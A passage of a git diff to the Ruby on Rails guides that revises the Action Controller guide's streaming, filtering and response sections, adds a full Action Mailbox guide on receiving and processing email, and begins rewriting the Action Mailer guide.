-If we wanted to return the lyrics in Karaoke fashion (only sending the line when
-the singer has finished the previous line), then we could use `ActionController::Live`
-as follows:
+Responding with a variant in a controller action is like responding with a format:
 
 ```ruby
-class LyricsController < ActionController::Base
-  include ActionController::Live
-
-  def show
-    response.headers['Content-Type'] = 'text/event-stream'
-    song = Song.find(params[:id])
-
-    song.each do |line|
-      response.stream.write line.lyrics
-      sleep line.num_beats
+# app/controllers/projects_controller.rb
+
+def show
+  # ...
+  respond_to do |format|
+    format.html do |html|
+      html.tablet                         # renders app/views/projects/show.html+tablet.erb
+      html.phone { extra_setup; render }  # renders app/views/projects/show.html+phone.erb
     end
-  ensure
-    response.stream.close
   end
 end
 ```
 
-The above code sends the next line only after the singer has completed the previous
-line.
-
-#### Streaming Considerations
-
-Streaming arbitrary data is an extremely powerful tool. As shown in the previous
-examples, you can choose when and what to send across a response stream. However,
-you should also note the following things:
-
-* Each response stream creates a new thread and copies over the thread local
-  variables from the original thread. Having too many thread local variables can
-  negatively impact performance. Similarly, a large number of threads can also
-  hinder performance.
-* Failing to close the response stream will leave the corresponding socket open
-  forever. Make sure to call `close` whenever you are using a response stream.
-* WEBrick servers buffer all responses, and so including `ActionController::Live`
-  will not work. You must use a web server which does not automatically buffer
-  responses.
-
-Log Filtering
--------------
-
-Rails keeps a log file for each environment in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file.
-
-### Parameters Filtering
-
-You can filter out sensitive request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
-
-```ruby
-config.filter_parameters << :password
-```
-
-NOTE: Provided parameters will be filtered out by partial matching regular expression. Rails adds default `:password` in the appropriate initializer (`initializers/filter_parameter_logging.rb`) and cares about typical application parameters `password` and `password_confirmation`.
-
-### Redirects Filtering
+A separate template should be created for each format and variant:
 
-Sometimes it's desirable to filter out from log files some sensitive locations your application is redirecting to.
-You can do that by using the `config.filter_redirect` configuration option:
+* `app/views/projects/show.html.erb`
+* `app/views/projects/show.html+tablet.erb`
+* `app/views/projects/show.html+phone.erb`
 
-```ruby
-config.filter_redirect << 's3.amazonaws.com'
-```
-
-You can set it to a String, a Regexp, or an array of both.
+You can also simplify the variants definition using the inline syntax:
 
 ```ruby
-config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]
+respond_to do |format|
+  format.html.tablet
+  format.html.phone  { extra_setup; render }
+end
 ```
 
-Matching URLs will be marked as '[FILTERED]'.
-
-Rescue
-------
-
-Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception.
-
-Rails default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
-
-### The Default 500 and 404 Templates
-
-By default a production application will render either a 404 or a 500 error message, in the development environment all unhandled exceptions are raised. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and style, but remember that they are static HTML; i.e. you can't use ERB, SCSS, CoffeeScript, or layouts for them.
-
-### `rescue_from`
-
-If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
-
-When an exception occurs which is caught by a `rescue_from` directive, the exception object is passed to the handler. The handler can be a method or a `Proc` object passed to the `:with` option. You can also use a block directly instead of an explicit `Proc` object.
+### The `response` Object
 
-Here's how you can use `rescue_from` to intercept all `ActiveRecord::RecordNotFound` errors and do something with them.
+The response object is built up during the execution of the action from
+rendering data to be sent back to the client browser. It's not usually used
+directly but sometimes, in an `after_action` callback for example, it can be
+useful to access the response directly. One use case is for setting the content type header:
 
 ```ruby
-class ApplicationController < ActionController::Base
-  rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
-
-  private
-
-    def record_not_found
-      render plain: "404 Not Found", status: 404
-    end
-end
+response.content_type = "application/pdf"
 ```
 
-Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+Another use case is for setting custom response headers:
 
 ```ruby
-class ApplicationController < ActionController::Base
-  rescue_from User::NotAuthorized, with: :user_not_authorized
-
-  private
-
-    def user_not_authorized
-      flash[:error] = "You don't have access to this section."
-      redirect_back(fallback_location: root_path)
-    end
-end
-
-class ClientsController < ApplicationController
-  # Check that the user has the right authorization to access clients.
-  before_action :check_authorization
-
-  # Note how the actions don't have to worry about all the auth stuff.
-  def edit
-    @client = Client.find(params[:id])
-  end
-
-  private
-
-    # If the user is not authorized, just throw the exception.
-    def check_authorization
-      raise User::NotAuthorized unless current_user.admin?
-    end
-end
+response.headers["X-Custom-Header"] = "some value"
 ```
 
-WARNING: You shouldn't do `rescue_from Exception` or `rescue_from StandardError` unless you have a particular reason as it will cause serious side-effects (e.g. you won't be able to see exception details and tracebacks during development).
-
-NOTE: When running in the production environment, all
-`ActiveRecord::RecordNotFound` errors render the 404 error page. Unless you need
-a custom behavior you don't need to handle this.
-
-NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed.
+The `headers` attribute is a hash which maps header names to header values.
+Rails sets some headers automatically but if you need to update a header or add
+a custom header, you can use `response.headers` as in the example above.
 
-Force HTTPS protocol
---------------------
-
-Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. You can use the `force_ssl` method in your controller to enforce that:
-
-```ruby
-class DinnerController
-  force_ssl
-end
-```
+NOTE: The `headers` method can be accessed directly in the controller as well.
 
-Just like the filter, you could also pass `:only` and `:except` to enforce the secure connection only to specific actions:
+Here are some of the properties of the `response` object:
 
-```ruby
-class DinnerController
-  force_ssl only: :cheeseburger
-  # or
-  force_ssl except: :cheeseburger
-end
-```
-
-Please note that if you find yourself adding `force_ssl` to many controllers, you may want to force the whole application to use HTTPS instead. In that case, you can set the `config.force_ssl` in your environment file.
+| Property of `response` | Purpose                                                                                             |
+| ---------------------- | --------------------------------------------------------------------------------------------------- |
+| `body`                 | This is the string of data being sent back to the client. This is most often HTML.                  |
+| `status`               | The HTTP status code for the response, like 200 for a successful request or 404 for file not found. |
+| `location`             | The URL the client is being redirected to, if any.                                                  |
+| `content_type`         | The content type of the response.                                                                   |
+| `charset`              | The character set being used for the response. Default is "utf-8".                                  |
+| `headers`              | Headers used for the response.                                                                      |
+
+To get a full list of the available methods, refer to the [Rails API
+documentation](https://api.rubyonrails.org/classes/ActionDispatch/Response.html)
+and [Rack
+Documentation](https://rack.github.io/rack/main/Rack/Response.html).
diff --git a/guides/source/action_mailbox_basics.md b/guides/source/action_mailbox_basics.md
new file mode 100644
index 0000000000000..7a0efeba93634
--- /dev/null
+++ b/guides/source/action_mailbox_basics.md
@@ -0,0 +1,526 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Action Mailbox Basics
+=====================
+
+This guide provides you with all you need to get started in receiving emails to
+your application.
+
+After reading this guide, you will know:
+
+* How to receive email within a Rails application.
+* How to configure Action Mailbox.
+* How to generate and route emails to a mailbox.
+* How to test incoming emails.
+
+--------------------------------------------------------------------------------
+
+What is Action Mailbox?
+-----------------------
+
+Action Mailbox routes incoming emails to controller-like mailboxes for
+processing in your Rails application. Action Mailbox is for receiving email,
+while [Action Mailer](action_mailer_basics.html) is for *sending* them.
+
+The inbound emails are routed asynchronously using [Active
+Job](active_job_basics.html) to one or several dedicated mailboxes. These emails
+are turned into
+[`InboundEmail`](https://api.rubyonrails.org/classes/ActionMailbox/InboundEmail.html)
+records using [Active Record](active_record_basics.html), which are capable of
+interacting directly with the rest of your domain model.
+
+`InboundEmail` records also provide lifecycle tracking, storage of the original
+email via [Active Storage](active_storage_overview.html), and responsible data
+handling with on-by-default [incineration](#incineration-of-inboundemails).
+
+Action Mailbox ships with ingresses which enable your application to receive
+emails from external email providers such as Mailgun, Mandrill, Postmark, and
+SendGrid. You can also handle inbound emails directly via the built-in Exim,
+Postfix, and Qmail ingresses.
+
+## Setup
+
+Action Mailbox has a few moving parts. First, you'll run the installer. Next,
+you'll choose and configure an ingress for handling incoming email. You're then
+ready to add Action Mailbox routing, create mailboxes, and start processing
+incoming emails.
+
+To start, let's install Action Mailbox:
+
+```bash
+$ bin/rails action_mailbox:install
+```
+
+This will create an `application_mailbox.rb` file and copy over migrations.
+
+```bash
+$ bin/rails db:migrate
+```
+
+This will run the Action Mailbox and Active Storage migrations.
+
+The Action Mailbox table `action_mailbox_inbound_emails` stores incoming
+messages and their processing status.
+
+At this point, you can start your Rails server and check out
+`http://localhost:3000/rails/conductor/action_mailbox/inbound_emails`. See
+[Local Development and Testing](#local-development-and-testing) for more.
+
+The next step is to configure an ingress in your Rails application to specify
+how incoming emails should be received.
+
+## Ingress Configuration
+
+Configuring ingress involves setting up credentials and endpoint information for
+the chosen email service. Here are the steps for each of the supported
+ingresses.
+
+### Exim
+
+Tell Action Mailbox to accept emails from an SMTP relay:
+
+```ruby
+# config/environments/production.rb
+config.action_mailbox.ingress = :relay
+```
+
+Generate a strong password that Action Mailbox can use to authenticate requests
+to the relay ingress.
+
+Use `bin/rails credentials:edit` to add the password to your application's
+encrypted credentials under `action_mailbox.ingress_password`, where Action
+Mailbox will automatically find it:
+
+```yaml
+action_mailbox:
+  ingress_password: ...
+```
+
+Alternatively, provide the password in the `RAILS_INBOUND_EMAIL_PASSWORD`
+environment variable.
+
+Configure Exim to pipe inbound emails to `bin/rails
+action_mailbox:ingress:exim`, providing the `URL` of the relay ingress and the
+`INGRESS_PASSWORD` you previously generated. If your application lived at
+`https://example.com`, the full command would look like this:
+
+```bash
+$ bin/rails action_mailbox:ingress:exim URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...
+```
+
+### Mailgun
+
+Give Action Mailbox your Mailgun Signing key (which you can find under Settings
+-> Security & Users -> API security in Mailgun), so it can authenticate requests
+to the Mailgun ingress.
+
+Use `bin/rails credentials:edit` to add your Signing key to your application's
+encrypted credentials under `action_mailbox.mailgun_signing_key`, where Action
+Mailbox will automatically find it:
+
+```yaml
+action_mailbox:
+  mailgun_signing_key: ...
+```
+
+Alternatively, provide your Signing key in the `MAILGUN_INGRESS_SIGNING_KEY`
+environment variable.
+
+Tell Action Mailbox to accept emails from Mailgun:
+
+```ruby
+# config/environments/production.rb
+config.action_mailbox.ingress = :mailgun
+```
+
+[Configure
+Mailgun](https://documentation.mailgun.com/docs/mailgun/user-manual/receive-forward-store/)
+to forward inbound emails to
+`/rails/action_mailbox/mailgun/inbound_emails/mime`. If your application lived
+at `https://example.com`, you would specify the fully-qualified URL
+`https://example.com/rails/action_mailbox/mailgun/inbound_emails/mime`.
+
+### Mandrill
+
+Give Action Mailbox your Mandrill API key, so it can authenticate requests to
+the Mandrill ingress.
+
+Use `bin/rails credentials:edit` to add your API key to your application's
+encrypted credentials under `action_mailbox.mandrill_api_key`, where Action
+Mailbox will automatically find it:
+
+```yaml
+action_mailbox:
+  mandrill_api_key: ...
+```
+
+Alternatively, provide your API key in the `MANDRILL_INGRESS_API_KEY`
+environment variable.
+
+Tell Action Mailbox to accept emails from Mandrill:
+
+```ruby
+# config/environments/production.rb
+config.action_mailbox.ingress = :mandrill
+```
+
+[Configure
+Mandrill](https://mandrill.zendesk.com/hc/en-us/articles/205583197-Inbound-Email-Processing-Overview)
+to route inbound emails to `/rails/action_mailbox/mandrill/inbound_emails`. If
+your application lived at `https://example.com`, you would specify the
+fully-qualified URL
+`https://example.com/rails/action_mailbox/mandrill/inbound_emails`.
+
+### Postfix
+
+Tell Action Mailbox to accept emails from an SMTP relay:
+
+```ruby
+# config/environments/production.rb
+config.action_mailbox.ingress = :relay
+```
+
+Generate a strong password that Action Mailbox can use to authenticate requests
+to the relay ingress.
+
+Use `bin/rails credentials:edit` to add the password to your application's
+encrypted credentials under `action_mailbox.ingress_password`, where Action
+Mailbox will automatically find it:
+
+```yaml
+action_mailbox:
+  ingress_password: ...
+```
+
+Alternatively, provide the password in the `RAILS_INBOUND_EMAIL_PASSWORD`
+environment variable.
+
+[Configure
+Postfix](https://serverfault.com/questions/258469/how-to-configure-postfix-to-pipe-all-incoming-email-to-a-script)
+to pipe inbound emails to `bin/rails action_mailbox:ingress:postfix`, providing
+the `URL` of the Postfix ingress and the `INGRESS_PASSWORD` you previously
+generated. If your application lived at `https://example.com`, the full command
+would look like this:
+
+```bash
+$ bin/rails action_mailbox:ingress:postfix URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...
+```
+
+### Postmark
+
+Tell Action Mailbox to accept emails from Postmark:
+
+```ruby
+# config/environments/production.rb
+config.action_mailbox.ingress = :postmark
+```
+
+Generate a strong password that Action Mailbox can use to authenticate requests
+to the Postmark ingress.
+
+Use `bin/rails credentials:edit` to add the password to your application's
+encrypted credentials under `action_mailbox.ingress_password`, where Action
+Mailbox will automatically find it:
+
+```yaml
+action_mailbox:
+  ingress_password: ...
+```
+
+Alternatively, provide the password in the `RAILS_INBOUND_EMAIL_PASSWORD`
+environment variable.
+
+[Configure Postmark inbound
+webhook](https://postmarkapp.com/manual#configure-your-inbound-webhook-url) to
+forward inbound emails to `/rails/action_mailbox/postmark/inbound_emails` with
+the username `actionmailbox` and the password you previously generated. If your
+application lived at `https://example.com`, you would configure Postmark with
+the following fully-qualified URL:
+
+```
+https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/postmark/inbound_emails
+```
+
+NOTE: When configuring your Postmark inbound webhook, be sure to check the box
+labeled **"Include raw email content in JSON payload"**. Action Mailbox needs
+the raw email content to work.
+
+### Qmail
+
+Tell Action Mailbox to accept emails from an SMTP relay:
+
+```ruby
+# config/environments/production.rb
+config.action_mailbox.ingress = :relay
+```
+
+Generate a strong password that Action Mailbox can use to authenticate requests
+to the relay ingress.
+
+Use `bin/rails credentials:edit` to add the password to your application's
+encrypted credentials under `action_mailbox.ingress_password`, where Action
+Mailbox will automatically find it:
+
+```yaml
+action_mailbox:
+  ingress_password: ...
+```
+
+Alternatively, provide the password in the `RAILS_INBOUND_EMAIL_PASSWORD`
+environment variable.
+
+Configure Qmail to pipe inbound emails to `bin/rails
+action_mailbox:ingress:qmail`, providing the `URL` of the relay ingress and the
+`INGRESS_PASSWORD` you previously generated. If your application lived at
+`https://example.com`, the full command would look like this:
+
+```bash
+$ bin/rails action_mailbox:ingress:qmail URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...
+```
+
+### SendGrid
+
+Tell Action Mailbox to accept emails from SendGrid:
+
+```ruby
+# config/environments/production.rb
+config.action_mailbox.ingress = :sendgrid
+```
+
+Generate a strong password that Action Mailbox can use to authenticate requests
+to the SendGrid ingress.
+
+Use `bin/rails credentials:edit` to add the password to your application's
+encrypted credentials under `action_mailbox.ingress_password`, where Action
+Mailbox will automatically find it:
+
+```yaml
+action_mailbox:
+  ingress_password: ...
+```
+
+Alternatively, provide the password in the `RAILS_INBOUND_EMAIL_PASSWORD`
+environment variable.
+
+[Configure SendGrid Inbound
+Parse](https://sendgrid.com/docs/for-developers/parsing-email/setting-up-the-inbound-parse-webhook/)
+to forward inbound emails to `/rails/action_mailbox/sendgrid/inbound_emails`
+with the username `actionmailbox` and the password you previously generated. If
+your application lived at `https://example.com`, you would configure SendGrid
+with the following URL:
+
+```
+https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/sendgrid/inbound_emails
+```
+
+NOTE: When configuring your SendGrid Inbound Parse webhook, be sure to check the
+box labeled **“Post the raw, full MIME message.�** Action Mailbox needs the raw
+MIME message to work.
+
+## Processing Incoming Email
+
+Processing incoming emails usually entails using the email content to create
+models, update views, queue background work, etc. in your Rails application.
+
+Before you can start processing incoming emails, you'll need to setup Action
+Mailbox routing and create mailboxes.
+
+### Configure Routing
+
+After an incoming email is received via the configured ingress, it needs to be
+forwarded to a mailbox for actual processing by your application. Much like the
+[Rails router](routing.html) that dispatches URLs to controllers, routing in
+Action Mailbox defines which emails go to which mailboxes for processing. Routes
+are added to the `application_mailbox.rb` file using regular expressions:
+
+```ruby
+# app/mailboxes/application_mailbox.rb
+class ApplicationMailbox < ActionMailbox::Base
+  routing(/^save@/i     => :forwards)
+  routing(/@replies\./i => :replies)
+end
+```
+
+The regular expression matches the incoming email's `to`, `cc`, or `bcc` fields.
+For example, the above will match any email sent to `save@` to a "forwards"
+mailbox. There are other ways to route an email, see
+[`ActionMailbox::Base`](https://api.rubyonrails.org/classes/ActionMailbox/Base.html)
+for more.
+
+We need to create that "forwards" mailbox next.
+
+### Create a Mailbox
+
+```bash
+# Generate new mailbox
+$ bin/rails generate mailbox forwards
+```
+
+This creates `app/mailboxes/forwards_mailbox.rb`, with a `ForwardsMailbox` class
+and a `process` method.
+
+### Process Email
+
+When processing an `InboundEmail`, you can get the parsed version of the email
+as a [`Mail`](https://github.com/mikel/mail) object with `InboundEmail#mail`.
+You can also get the raw source directly using the `#source` method. With the
+`Mail` object, you can access the relevant fields, such as `mail.to`,
+`mail.body.decoded`, etc.
+
+```irb
+irb> mail
+=> #<Mail::Message:33780, Multipart: false, Headers: <Date: Wed, 31 Jan 2024 22:18:40 -0600>, <From: someone@hey.com>, <To: save@example.com>, <Message-ID: <65bb1ba066830_50303a70397e@Bhumis-MacBook-Pro.local.mail>>, <In-Reply-To: >, <Subject: Hello Action Mailbox>, <Mime-Version: 1.0>, <Content-Type: text/plain; charset=UTF-8>, <Content-Transfer-Encoding: 7bit>, <x-original-to: >>
+irb> mail.to
+=> ["save@example.com"]
+irb> mail.from
+=> ["someone@hey.com"]
+irb> mail.date
+=> Wed, 31 Jan 2024 22:18:40 -0600
+irb> mail.subject
+=> "Hello Action Mailbox"
+irb> mail.body.decoded
+=> "This is the body of the email message."
+# mail.decoded, a shorthand for mail.body.decoded, also works
+irb> mail.decoded
+=> "This is the body of the email message."
+irb> mail.body
+=> <Mail::Body:0x00007fc74cbf46c0 @boundary=nil, @preamble=nil, @epilogue=nil, @charset="US-ASCII", @part_sort_order=["text/plain", "text/enriched", "text/html", "multipart/alternative"], @parts=[], @raw_source="This is the body of the email message.", @ascii_only=true, @encoding="7bit">
+```
+
+### Inbound Email Status
+
+While the email is being routed to a matching mailbox and processed, Action
+Mailbox updates the email status stored in `action_mailbox_inbound_emails` table
+with one of the following values:
+
+- `pending`: Received by one of the ingress controllers and scheduled for
+  routing.
+- `processing`: During active processing, while a specific mailbox is running
+  its `process` method.
+- `delivered`: Successfully processed by the specific mailbox.
+- `failed`: An exception was raised during the specific mailbox’s execution of
+  the `process` method.
+- `bounced`: Rejected processing by the specific mailbox and bounced to sender.
+
+If the email is marked either `delivered`, `failed`, or `bounced` it's
+considered "processed" and marked for
+[incineration](#incineration-of-inboundemails).
+
+## Example
+
+Here is an example of an Action Mailbox that processes emails to create
+"forwards" for the user's project.
+
+The `before_processing` callback is used to ensure that certain conditions are
+met before `process` method is called. In this case, `before_processing` checks
+that the user has at least one project. Other supported [Action Mailbox
+callbacks](https://api.rubyonrails.org/classes/ActionMailbox/Callbacks.html) are
+`after_processing` and `around_processing`.
+
+The email can be bounced using `bounced_with` if the "forwarder" has no
+projects. The "forwarder" is a `User` with the same email as `mail.from`.
+
+If the "forwarder" does have at least one project, the `record_forward` method
+creates an Active Record model in the application using the email data
+`mail.subject` and `mail.decoded`. Otherwise, it sends an email, using Action
+Mailer, requesting the "forwarder" to choose a project.
+
+```ruby
+# app/mailboxes/forwards_mailbox.rb
+class ForwardsMailbox < ApplicationMailbox
+  # Callbacks specify prerequisites to processing
+  before_processing :require_projects
+
+  def process
+    # Record the forward on the one project, or…
+    if forwarder.projects.one?
+      record_forward
+    else
+      # …involve a second Action Mailer to ask which project to forward into.
+      request_forwarding_project
+    end
+  end
+
+  private
+    def require_projects
+      if forwarder.projects.none?
+        # Use Action Mailers to bounce incoming emails back to sender – this halts processing
+        bounce_with Forwards::BounceMailer.no_projects(inbound_email, forwarder: forwarder)
+      end
+    end
+
+    def record_forward
+      forwarder.forwards.create subject: mail.subject, content: mail.decoded
+    end
+
+    def request_forwarding_project
+      Forwards::RoutingMailer.choose_project(inbound_email, forwarder: forwarder).deliver_now
+    end
+
+    def forwarder
+      @forwarder ||= User.find_by(email_address: mail.from)
+    end
+end
+```
+
+## Local Development and Testing
+
+It's helpful to be able to test incoming emails in development without actually
+sending and receiving real emails. To accomplish this, there's a conductor
+controller mounted at `/rails/conductor/action_mailbox/inbound_emails`, which
+gives you an index of all the InboundEmails in the system, their state of
+processing, and a form to create a new InboundEmail as well.
+
+Here is and example of testing an inbound email with Action Mailbox TestHelpers.
+
+```ruby
+class ForwardsMailboxTest < ActionMailbox::TestCase
+  test "directly recording a client forward for a forwarder and forwardee corresponding to one project" do
+    assert_difference -> { people(:david).buckets.first.recordings.count } do
+      receive_inbound_email_from_mail \
+        to: "save@example.com",
+        from: people(:david).email_address,
+        subject: "Fwd: Status update?",
+        body: <<~BODY
+          --- Begin forwarded message ---
+          From: Frank Holland <frank@microsoft.com>
+
+          What's the status?
+        BODY
+    end
+
+    recording = people(:david).buckets.first.recordings.last
+    assert_equal people(:david), recording.creator
+    assert_equal "Status update?", recording.forward.subject
+    assert_match "What's the status?", recording.forward.content.to_s
+  end
+end
+```
+
+Please refer to the [ActionMailbox::TestHelper
+API](https://api.rubyonrails.org/classes/ActionMailbox/TestHelper.html) for
+further test helper methods.
+
+## Incineration of InboundEmails
+
+By default, an `InboundEmail` that has been processed will be incinerated after
+30 days. The `InboundEmail` is considered as processed when its status changes
+to `delivered`, `failed`, or `bounced`.
+
+The actual incineration is done via the
+[`IncinerationJob`](https://api.rubyonrails.org/classes/ActionMailbox/IncinerationJob.html)
+that's scheduled to run after
+[`config.action_mailbox.incinerate_after`](configuring.html#config-action-mailbox-incinerate-after)
+time. This value is set to `30.days` by default, but you can change it in your
+production.rb configuration. (Note that this far-future incineration scheduling
+relies on your job queue being able to hold jobs for that long.)
+
+Default data incineration ensures that you're not holding on to people's data
+unnecessarily after they may have canceled their accounts or deleted their
+content.
+
+The intention with Action Mailbox processing is that as you process an email,
+you should extract all the data you need from the email and persist it into
+domain models in your application. The `InboundEmail` stays in the system for
+the configured time to allow for debugging and forensics and then will be
+deleted.
diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md
index 380fdac6586b7..71d6589be9e34 100644
--- a/guides/source/action_mailer_basics.md
+++ b/guides/source/action_mailer_basics.md
@@ -1,146 +1,175 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Action Mailer Basics
 ====================
 
-This guide provides you with all you need to get started in sending and
-receiving emails from and to your application, and many internals of Action
-Mailer. It also covers how to test your mailers.
+This guide covers sending emails from your Rails application.
 
 After reading this guide, you will know:
 
-* How to send and receive email within a Rails application.
-* How to generate and edit an Action Mailer class and mailer view.
+* How to generate and edit Action Mailer classes and mailer views.
+* How to send attachments and multipart emails.
+* How to use Action Mailer callbacks.
 * How to configure Action Mailer for your environment.
-* How to test your Action Mailer classes.
+* How to preview emails and test your Action Mailer classes.
 
 --------------------------------------------------------------------------------
 
-Introduction
-------------
+What is Action Mailer?
+----------------------
 
-Action Mailer allows you to send emails from your application using mailer classes
-and views. Mailers work very similarly to controllers. They inherit from
-`ActionMailer::Base` and live in `app/mailers`, and they have associated views
-that appear in `app/views`.
+Action Mailer allows you to send emails from your Rails application. It's one of
+the two email related components in the Rails framework. The other is [Action
+Mailbox](action_mailbox_basics.html), which deals with _receiving_ emails.
 
-Sending Emails
---------------
+Action Mailer uses classes (called "mailers") and views to create and configure
+the email to send. Mailers are classes that inherit from
+[`ActionMailer::Base`][]. Mailer classes are similar to controller classes. Both
+have:
 
-This section will provide a step-by-step guide to creating a mailer and its
-views.
+* Instance variables that are accessible in views.
+* The ability to use layouts and partials.
+* The ability to access a params hash.
+* Actions and associated views in `app/views`.
 
-### Walkthrough to Generating a Mailer
+[`ActionMailer::Base`]:
+    https://api.rubyonrails.org/classes/ActionMailer/Base.html
 
-#### Create the Mailer
+Creating a Mailer and Views
+---------------------------
+
+This section will provide a step-by-step guide to sending email with Action
+Mailer. Here are the details of each step.
+
+### Generate the Mailer
+
+First, you use the "mailer" generator to create the Mailer related classes:
 
 ```bash
-$ bin/rails generate mailer UserMailer
+$ bin/rails generate mailer User
 create  app/mailers/user_mailer.rb
-create  app/mailers/application_mailer.rb
 invoke  erb
 create    app/views/user_mailer
-create    app/views/layouts/mailer.text.erb
-create    app/views/layouts/mailer.html.erb
 invoke  test_unit
 create    test/mailers/user_mailer_test.rb
 create    test/mailers/previews/user_mailer_preview.rb
 ```
 
-```ruby
-# app/mailers/application_mailer.rb
-class ApplicationMailer < ActionMailer::Base
-  default from: "from@example.com"
-  layout 'mailer'
-end
+Like the `UserMailer` below, all generated Mailer classes inherit from
+`ApplicationMailer`:
 
+```ruby
 # app/mailers/user_mailer.rb
 class UserMailer < ApplicationMailer
 end
 ```
 
-As you can see, you can generate mailers just like you use other generators with
-Rails. Mailers are conceptually similar to controllers, and so we get a mailer,
-a directory for views, and a test.
-
-If you didn't want to use a generator, you could create your own file inside of
-app/mailers, just make sure that it inherits from `ActionMailer::Base`:
+The `ApplicationMailer` class inherits from `ActionMailer::Base`, and can be
+used to define attributes common to all Mailers:
 
 ```ruby
-class MyMailer < ActionMailer::Base
+# app/mailers/application_mailer.rb
+class ApplicationMailer < ActionMailer::Base
+  default from: "from@example.com"
+  layout "mailer"
 end
 ```
 
-#### Edit the Mailer
-
-Mailers are very similar to Rails controllers. They also have methods called
-"actions" and use views to structure the content. Where a controller generates
-content like HTML to send back to the client, a Mailer creates a message to be
-delivered via email.
-
-`app/mailers/user_mailer.rb` contains an empty mailer:
+If you don't want to use a generator, you can also manually add a file to the
+`app/mailers` directory. Make sure that your class inherits from
+`ApplicationMailer`:
 
 ```ruby
-class UserMailer < ApplicationMailer
+# app/mailers/custom_mailer.rb
+class CustomMailer < ApplicationMailer
 end
 ```
 
-Let's add a method called `welcome_email`, that will send an email to the user's
-registered email address:
+### Edit the Mailer
+
+The `UserMailer` in `app/mailers/user_mailer.rb` initially doesn't have any methods. So next, we add
+methods (aka actions) to the mailer that will send specific emails.
+
+Mailers have methods called "actions" and they use views to structure their
+content, similar to controllers. While a controller generates HTML content to
+send back to the client, a Mailer creates a message to be delivered via email.
+
+Let's add a method called `welcome_email` to the `UserMailer`, that will send an
+email to the user's registered email address:
 
 ```ruby
 class UserMailer < ApplicationMailer
-  default from: 'notifications@example.com'
+  default from: "notifications@example.com"
 
-  def welcome_email(user)
-    @user = user
-    @url  = 'http://example.com/login'
-    mail(to: @user.email, subject: 'Welcome to My Awesome Site')
+  def welcome_email
+    @user = params[:user]
+    @url  = "http://example.com/login"
+    mail(to: @user.email_address, subject: "Welcome to My Awesome Site")
   end
 end
 ```
 
-Here is a quick explanation of the items presented in the preceding method. For
-a full list of all available options, please have a look further down at the
-Complete List of Action Mailer user-settable attributes section.
+NOTE: The method names in mailers do not have to end in `_email`.
+
+Here is a quick explanation of the Mailer related methods used above:
+
+* The [`default`][] method sets default values for all emails sent from _this_
+  mailer. In this case, we use it to set the `:from` header value for all
+  messages in this class. This can be overridden on a per-email basis.
+* The [`mail`][] method creates the actual email message. We use it to specify
+  the values of headers like `:to` and `:subject` per email.
+
+There is also the [`headers`][] method (not used above), which is used to
+specify email headers with a hash or by calling `headers[:field_name] = 'value'`.
+
+It is possible to specify an action directly while using the generator like
+this:
+
+```bash
+$ bin/rails generate mailer User welcome_email
+```
+
+The above will generate the `UserMailer` with an empty `welcome_email` method.
 
-* `default Hash` - This is a hash of default values for any email you send from
-this mailer. In this case we are setting the `:from` header to a value for all
-messages in this class. This can be overridden on a per-email basis.
-* `mail` - The actual email message, we are passing the `:to` and `:subject`
-headers in.
+You can also send multiple emails from a single mailer class. It can be
+convenient to group related emails together. For example, the above `UserMailer`
+can have a `goodbye_email` (and corresponding view) in addition to the
+`welcome_email`.
 
-Just like controllers, any instance variables we define in the method become
-available for use in the views.
+[`default`]:
+    https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-c-default
+[`mail`]:
+    https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-mail
+[`headers`]:
+    https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-headers
 
-#### Create a Mailer View
+### Create a Mailer View
 
-Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This
-will be the template used for the email, formatted in HTML:
+Next, for the `welcome_email` action, you'll need to create a matching view in a
+file called `welcome_email.html.erb` in the `app/views/user_mailer/` directory.
+Here is a sample HTML template that can be used for the welcome email:
 
 ```html+erb
-<!DOCTYPE html>
-<html>
-  <head>
-    <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
-  </head>
-  <body>
-    <h1>Welcome to example.com, <%= @user.name %></h1>
-    <p>
-      You have successfully signed up to example.com,
-      your username is: <%= @user.login %>.<br>
-    </p>
-    <p>
-      To login to the site, just follow this link: <%= @url %>.
-    </p>
-    <p>Thanks for joining and have a great day!</p>
-  </body>
-</html>
+<h1>Welcome to example.com, <%= @user.name %></h1>
+<p>
+  You have successfully signed up to example.com,
+  your username is: <%= @user.login %>.<br>
+</p>
+<p>
